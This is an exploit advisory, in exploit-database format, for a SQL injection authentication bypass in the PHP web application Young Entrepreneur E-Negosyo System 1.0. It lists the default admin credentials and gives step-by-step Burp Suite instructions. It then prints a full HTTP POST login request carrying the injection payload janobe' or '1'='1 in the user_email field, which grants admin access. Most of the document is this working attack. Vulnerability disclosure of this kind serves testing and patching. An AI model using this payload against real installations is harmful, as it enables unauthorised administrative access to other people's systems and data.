Young Entrepreneur E-Negosyo System 1.0 Exploit, SQL Injection Authentication Bypass

# Exploit Title: Young Entrepreneur E-Negosyo System 1.0 - SQL Injection Authentication Bypass
# Date: 2021-10-02
# Exploit Author: Jordan Glover
# Vendor Homepage: https://www.sourcecodester.com/php/12684/young-entrepreneur-e-negosyo-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12684&title=Young+Entrepreneur+E-Negosyo+System+in+PHP+Free+Source+Code
# Version: v1.0
# Tested on: Windows 10 + XAMPP v3.3.0

Steps-To-Reproduce:
Step 1 Go to the admin panel http://localhost/bsenordering/admin/login.php
Step 2 – Enter the default admin username janobe and enter password test
Step 3 – Click on Sign in and capture the request in the Burp Suite
Step 4 – Change the user_email to janobe' or '1'='1
Step 5 – Click forward and now you will be logged in as an admin.

POC

POST /bsenordering/admin/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Origin: http://localhost
Connection: close
Referer: http://localhost/bsenordering/admin/login.php
Cookie: PHPSESSID=him428198e798r23eagi9mapjk
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

user_email=janobe' or '1'='1&user_pass=test&btnLogin=

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